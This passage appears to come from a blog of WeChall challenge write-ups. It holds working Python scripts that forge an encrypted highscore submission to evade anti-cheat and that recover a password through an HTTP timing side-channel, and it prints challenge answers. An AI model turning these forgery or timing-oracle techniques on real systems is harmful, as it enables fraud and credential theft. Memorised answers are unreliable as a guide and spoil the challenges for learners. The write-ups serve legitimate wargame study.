print(f' [{dt:.0f}s] solved={solved}/468 rounds={rounds} '
f'({rate*60:.1f}/min, ETA {eta/60:.1f}min)')
elif ns is not None and ns < solved:
print(f' !! round reset detected: solved {solved} -> {ns}')
solved = ns
else:
m = re.search(r'Correct would have been ([A-Z]{5})', text)
print(f' miss guess={guess} conf={conf:.3f} real={m.group(1) if m else "?"}')
time.sleep(1.1) # 限速控制:总频率 ~55 req/min
browser.close()
print(f'\nDONE: solved={solved} rounds={rounds} in {time.time()-t0:.0f}s')

if __name__ == '__main__':
main()

Challenge

WeChall Snake(by Gizmore and lazer, 2010):Java Applet 贪吃蛇游戏,目标 "reach exactly 300000 points"。没有答案提交框——玩家在 Applet 里玩完游戏,客户端把成绩加密提交到 CGI_Highscore.php,完成判定完全靠服务端校验提交构型是否"真实可达成"。

1
https://www.wechall.net/en/challenge/snake/index.php

Solution

CGI_Highscore.php 发送加密的 HT_RATE + HT_INSERT 请求,INSERT 一个完全自洽的 300000 分构型:

  1. GET 挑战页(记录游戏开始时间)
  2. 等待 ≥ 300 秒
  3. HT_RATE score=300000(返回 rank,写 trixx.txt)
  4. HT_INSERT score=300000(7 秒内):
    • K=10(字母轮数)→ M = 1.0 + 0.5K = 6.00
    • B=250, C=250, H=0 → L = 14 + 4B + 6C - 2H + 5K = 2564
    • md5 = MD5("250:250:0:2564:300000").upper()
    • name=<你的用户名> & sessid=

分析过程

1. 协议逆向

Applet(snake.jar)与 CGI_Highscore.php 的通信:

  • body = encrypted=URLEncode(GWF_Crypt(payload, "Snake$Poors!"))
  • GWF_Crypt:out[i] = key[ki % len] ^ c ^ 101;key 索引按递增步长循环(每轮 wrap 后步长 +1,越过 keylen 复位为 1)
  • payload:cmd=HT_INSERT&score=&name=&length=&hemps=&cherries=&bananas=&multi=&md5=&sessid=
  • md5 = MD5("bananas:cherries:hemps:length:score").toUpperCase()
  • 命令:HT_RATE(评分+写 trixx)、HT_INSERT(写榜)、HT_HOTD(英雄日)、HT_UNREQUEST

2. 服务端规则

snake.gizmore.org 原站 PHP 短标签未开启 → 源码直接泄露,可与线上行为交叉验证。

1
2
3
HT_Rate():  rank = 分数在榜排名;rank ≤ 100 时把 "time:score" 写入 trixx.txt
HT_InsertAllowed(): INSERT 的 score 必须 7 秒内被 RATE 过(完全相同的分数)
→ RATE 和 INSERT 必须成对、同分、间隔 < 7 秒

时间检测:除 RATE/INSERT 窗口外,还有最小游戏时长检查——从 HT_HOTDHT_RATE 的间隔必须达到一定时长,且随分数增大

3. 计分规则(从 applet 字节码逆向)

  • banana=250 分/+4 长、cherry=750/+6、hemp=500/-2、字母=100/+1
  • multiplier = 1.0 + 0.5×K(K = 集齐 5 个字母食物的轮数)
  • 字母分合计 A(K) = 500K + 125K(K-1)
  • 死亡动画 effectDie() 每帧 score += 10×L
  • 蛇长 L = 14 + 4B + 6C − 2H + 5K
  • 得分可达区间 [10L + A + Σ, 10L + A + M×Σ],Σ = 250B + 750C + 500H

线上版 CGI 比仓库版多了反作弊:分数 ≥ 300000 的记录会被标记 user_thief.png(Cheater)图标,且不会触发 solved。检测本质是 "golden ratio" 比例检查(M 与 K 自洽、计数合理性),不查 10 整除性、不做严格代数校验。被标记的构型共同点:

  • M 与 K 不自洽(如 K=46 但提交 M=20.00,应为 24.0)
  • 食物计数离谱(H=394、C=319 —— 真实游戏不可能)
  • score 超出构型可达区间(失败构型的共同点;服务端给检测留了 margin,但偏离太多照样标)

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python3
import hashlib, time, urllib.parse, urllib.request

NAME = "<your_wechall_username>" # 你的 WeChall 用户名
SESS = "<your_session_cookie>" # WC cookie 值
BASE = "https://www.wechall.net/en/challenge/snake"
UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120 Safari/537.36"

def gwf_crypt(data, key):
"""GWF_Crypt: out[i] = key[ki % len] ^ c ^ 101;key 索引按递增步长循环(wrap 后步长 +1)"""
keylen = len(key); out = []; step = 1; ki = -1
for c in data:
ki += step
if ki >= keylen: ki = 0; step += 1
if step >= keylen: step = 1
out.append(chr(ord(key[ki % keylen]) ^ ord(c) ^ 101))
return "".join(out)

def post(msg):
"""POST 加密 payload 到 CGI_Highscore.php"""
body = "encrypted=" + urllib.parse.quote_plus(gwf_crypt(msg, "Snake$Poors!"))
req = urllib.request.Request(BASE + "/CGI_Highscore.php", data=body.encode(),
headers={"User-Agent": UA, "Content-Type": "application/x-www-form-urlencoded",
"Referer": BASE + "/index.php", "Cookie": "WC=" + SESS})
with urllib.request.urlopen(req, timeout=25) as res:
return res.status, res.read().decode("utf-8", "replace")

def get(url):
"""GET 页面(带 session cookie)"""
req = urllib.request.Request(url, headers={"User-Agent": UA, "Cookie": "WC=" + SESS})
with urllib.request.urlopen(req, timeout=25) as res:
return res.read().decode("utf-8", "replace")

K = 10 # 集齐 5 个字母食物的轮数
B, C, H = 250, 250, 0 # banana / cherry / hemp 数量
SC = 300000
L = 14 + 4*B + 6*C - 2*H + 5*K # 蛇长
M = "%.2f" % (1.0 + 0.5*K) # multiplier
A = 500*K + 125*K*(K-1) # 字母分合计
SIGMA = 250*B + 750*C + 500*H # 食物分合计
mn, mx = 10*L + A + SIGMA, 10*L + A + (1.0+0.5*K)*SIGMA
assert mn <= SC <= mx, f"score {SC} not in [{mn}, {mx}]"
md5 = hashlib.md5(f"{B}:{C}:{H}:{L}:{SC}".encode()).hexdigest().upper()

print("step 1: GET 挑战页(会话计时开始)")
get(BASE + "/index.php")
print("step 2: 等待 300 秒(90 秒实验失败过,建议 ≥5 分钟)")
time.sleep(300)
print("step 3: HT_RATE(写 trixx.txt,7 秒窗口起点)")
r = post(f"cmd=HT_RATE&score={SC}&sessid={SESS}")
print("RATE:", r[0], repr(r[1][:30]))
time.sleep(2)
print("step 4: HT_INSERT(同分,7 秒内)")
r = post(f"cmd=HT_INSERT&score={SC}&name={NAME}&length={L}&hemps={H}"
f"&cherries={C}&bananas={B}&multi={M}&md5={md5}&sessid={SESS}")
print("INSERT:", r[0], repr(r[1][:80]))
if "Very well done" in r[1]:
print("SUCCESS - challenge solved!")
else:
print("NOT solved yet - response above")

Challenge

机场储物柜 QR 码。题面给出 15 条"捡来的废弃 QR 码"样本(日期/时间/Row/Locker + 13 位数字码),并给出你自己的目标:From what I remember, I locked my belongings at <时间> in locker <N> row <M>. 要求还原对应 QR 码并提交。目标由 session 派生(WC_CryptoChall::generateSolution('FooBarley', true, true, 4) 的 4 字符 seed → locker/row/时间),每次 session 不同。

Solution

编码规则极其简单:13 位 QR 码 = Row(2位) + 反转的 Unix 时间戳(10位) + "0"

时间戳取柏林时区(Europe/Berlin)解释样本日期时间后转 UTC。反转即把十进制时间戳字符串倒序。

验证样本:

1
2
02.07.2019 11:24:05 CEST → UTC 1562059445 → 反转 5449502651
row 03 → 03 + 5449502651 + 0 = 0354495026510 ✓

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
"""Luggage: QR = row(2) + reverse(unix_ts_berlin) + '0'"""
from datetime import datetime, timedelta
import zoneinfo, sys

def solve(date_str, time_str, row):
"""date_str: 'Feb 17, 2024', time_str: '15:11:29', row: 9"""
dt = datetime.strptime(f"{date_str} {time_str}", "%b %d, %Y %H:%M:%S")
# challenge times are Europe/Berlin; convert to UTC
berlin = zoneinfo.ZoneInfo("Europe/Berlin")
dt = dt.replace(tzinfo=berlin)
ts = int(dt.timestamp()) # UTC epoch
return f"{row:02d}{str(ts)[::-1]}0"

if __name__ == "__main__":
# 目标从挑战页复制: "Feb 17, 2024 - 15:11:29 in locker 23 row 9"
ans = solve("Feb 17, 2024", "15:11:29", 9)
print(ans) # 0998097180710

Out of the Cloud (Misc) by anto

Challenge

挑战页描述:"Our computer science specialist has sent us a message. However it seems that it's a little cryptic...",链接一个 cloud.zip

解压得到 cloud.txt(689KB):纯 0/1 文本流,8937 行 × 78 位 + 末尾 1 行 66 位,行宽 78 = 13 × 6。

Solution

Step 1 — 位流 → 字节

把 0/1 文本按 8 位切分转字节。文件头尾各有 20 字节 0x04 填充,中间数据有强周期结构:b0 50 de + 变长 payload + be 终止,共 6931 块。

Step 2 — 位反转发现 ASCII

所有 payload 字节低 2 位恒为 00(每字节只含 6 位有效数据)。关键观察:把字节做位反转(bit-reverse,MSB↔︎LSB),b0 50 de\r\n{be},payload 变成可读 ASCII:

1
\r\n{-11,12,4}\r\n{63,51,0}\r\n{-63,33,8}\r\n...

这是 6931 个 {x,y,z} 三维点坐标。

Step 3 — 渲染点云

x∈[-64,63],y∈[-64,63],z∈[0,246]。把 z 映射为灰度(z 值大部分是 4 的倍数),x,y 映射为像素坐标渲染 128×128 图。中间区域有一大块高密度文字。

Step 4 — 镜像翻转读答案

直接渲染的文字是反的(镜像),左右翻转后可读出答案:

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3
"""Out of the Cloud — 0/1 文本 → 位反转 → 点云 → 镜像渲染"""
import re
from PIL import Image, ImageOps

# cloud.txt 的 0/1 文本
with open('cloud.txt') as f:
content = f.read().replace('\n', '').strip()

def rev8(b: int) -> int:
"""按位反转一个字节"""
r = 0
for i in range(8):
r = (r << 1) | ((b >> i) & 1)
return r

# Step 1: 0/1 → bytes
data = bytes(int(content[i:i+8], 2) for i in range(0, len(content), 8))

# Step 2: 去掉头尾 20 字节 0x04 填充,按块 (b0 50 de ... be) 切分
core = data[20:-20]
blocks = []
i = 0
while i < len(core):
if core[i:i+3] != b'\xb0\x50\xde':
i += 1
continue
j = core.find(b'\xbe', i + 3)
if j == -1:
blocks.append(core[i:])
break
blocks.append(core[i:j+1])
i = j + 1

# Step 3: 位反转 → ASCII 文本 {x,y,z}
text = ''.join(''.join(chr(rev8(b)) for b in blk) for blk in blocks)
text = text.replace('\r\n', '\n').strip()
pts = [(int(x), int(y), int(z))
for x, y, z in re.findall(r'\{(-?\d+),(-?\d+),(-?\d+)\}', text)]
print(f"points: {len(pts)}")

# Step 4: 渲染 128×128 灰度图(z 为亮度),左右镜像后保存
img = Image.new('L', (128, 128), 0)
px = img.load()
for x, y, z in pts:
px[x + 64, 63 - y] = min(255, z)
img = ImageOps.mirror(img) # 关键:左右翻转
img = img.resize((1024, 1024), Image.NEAREST)
img.save('cloud_mirror.png')
print("saved cloud_mirror.png — 图中文字即答案")
rainbowrainbow

Training: Time is of the Essence (Training, Coding, Exploit) by gizmore 经典 timing side-channel 攻击——PHP 密码比对函数逐字符泄露 50ms 时间差。

Challenge

密码验证函数 utf8_stringCompare() 在比较每个字符成功后执行 usleep(50000)。网络延迟掩盖了 CPU 级别的时间差,但 50ms 的 sleep 足够在 HTTP 层面检测。

https://www.wechall.net/en/challenge/training/timing1/index.php

source 通过 ?show=source 获取,提示(password.php 直接访问)确认密码为 12 字符纯字母 [a-zA-Z]{12}

Source Analysis

vulnerable.php 中的比较逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function utf8_stringCompare($a, $b)
{
$len_a = mb_strlen($a);
$len_b = mb_strlen($b);
if ($len_a !== $len_b)
{
return false; # 长度不匹配:0 次 sleep
}

usleep(50000); # 长度匹配:+1 sleep (50ms)

for ($i = 0; $i < $len_a; $i++)
{
$char_a = mb_substr($a, $i, 1);
$char_b = mb_substr($b, $i, 1);

if ($char_a !== $char_b)
{
return false; # 字符不匹配:立即返回
}

usleep(50000); # 字符匹配:+1 sleep (50ms)
}

return true;
}

时间模型:N 个正确前缀字符 → 响应时间 = baseline + (1 + N) × 50ms。长度不对直接返回,0 sleep。

Solution

Step 1: 探测长度

提交 'A' * N (N = 1..60),使用 ?ajax=1&nosess=1 减少响应体积。正确长度比错误长度多 1 次 sleep(+50ms)。requests.Session() 保持 TCP+TLS 连接复用,将单次请求开销从 ~1.4s 降到 ~0.85s。

1
2
len=10: 306ms    len=11: 305ms    len=12: 355ms  ←  +50ms
len=13: 303ms len=14: 302ms

Step 2: 逐字符提取

对每个位置,测试全部 52 个候选字符(a-zA-Z),用中位数过滤网络抖动。每个正确字符比错误候选多 +50ms。

由于 FlClash 代理引入额外延迟,每个候选需要 10-20 次采样才能得到可靠信号。完整提取脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import requests
import time
import statistics
import re

BASE_URL = 'https://www2.wechall.net/en/challenge/training/timing1/index.php?ajax=1&nosess=1'
SUBMIT_URL = 'https://www2.wechall.net/en/challenge/training/timing1/index.php'
COOKIE = 'WC=<your_cookie>' # 替换为你的 WeChall session cookie
PW_LEN = 12
CHARSET = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

def get_csrf():
s = requests.Session()
s.headers.update({'Cookie': COOKIE, 'User-Agent': 'Mozilla/5.0'})
r = s.get(SUBMIT_URL, timeout=20)
m = re.search(r'gwf3_csrf.*?value="([^"]+)"', r.text)
return m.group(1) if m else None

csrf = get_csrf()
s = requests.Session()
s.headers.update({'Cookie': COOKIE, 'User-Agent': 'Mozilla/5.0'})
s.post(BASE_URL, data={'answer': 'x', 'solve': 'Submit', 'gwf3_csrf': csrf}, timeout=20)
time.sleep(0.1)

def med(answer, n=8):
times = []
for _ in range(n):
for retry in range(2):
try:
start = time.perf_counter()
r = s.post(BASE_URL, data={
'answer': answer, 'solve': 'Submit', 'gwf3_csrf': csrf
}, timeout=20)
r.content
times.append(time.perf_counter() - start)
break
except:
time.sleep(2)
return statistics.median(times) if times else 0

password = ''
for pos in range(PW_LEN):
pad = 'A' * (PW_LEN - len(password) - 1)
candidates = []

# Quick pass: 4-5 samples
for c in CHARSET:
t = med(password + c + pad, n=5)
candidates.append((c, t))
candidates.sort(key=lambda x: x[1], reverse=True)

# Refine top 2: 12+ samples
refined = []
for c, _ in candidates[:2]:
t = med(password + c + pad, n=12)
refined.append((c, t))
refined.sort(key=lambda x: x[1], reverse=True)

best = refined[0]
delta = best[1] - refined[1][1]
password += best[0]
print(f'[{pos+1:2d}/12] {best[0]} D={delta*1000:5.0f}ms best={best[1]*1000:.0f}ms')

print(f'\nPassword: {password}')

# Submit
csrf2 = get_csrf()
s2 = requests.Session()
s2.headers.update({'Cookie': COOKIE, 'User-Agent': 'Mozilla/5.0'})
r2 = s2.post(SUBMIT_URL, data={
'answer': password, 'solve': 'Submit', 'gwf3_csrf': csrf2
}, timeout=20)
print('Solved!' if 'Your answer is correct' in r2.text else 'Wrong')

Step 3: 提取结果

每字符的 timing 数据(median of 12-15 samples):

1
2
3
4
5
6
7
8
9
10
11
12
[ 1/12] F  Δ= 51ms  best=413ms
[ 2/12] a Δ= 62ms best=468ms
[ 3/12] s Δ= 49ms best=511ms
[ 4/12] t Δ= 49ms best=558ms
[ 5/12] C Δ= 43ms best=610ms
[ 6/12] i Δ= 52ms best=650ms
[ 7/12] n Δ= 50ms best=702ms
[ 8/12] a Δ= 53ms best=762ms
[ 9/12] t Δ= 50ms best=807ms
[10/12] i Δ= 47ms best=864ms
[11/12] n Δ= 46ms best=913ms
[12/12] g Δ= — best= —

Position 5 的大写 C 是关键验证点。提交 FastC...Fastc... 的对比测试确认了 uppercase:

1
2
3
FastCinatiAA (C upper): 859ms   ← 11 sleeps: 1 base + 10 matched
FastcinatiAA (c lower): 556ms ← 5 sleeps: 1 base + 4 matched
Delta: 303ms = 6 sleeps difference
FastCinating
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE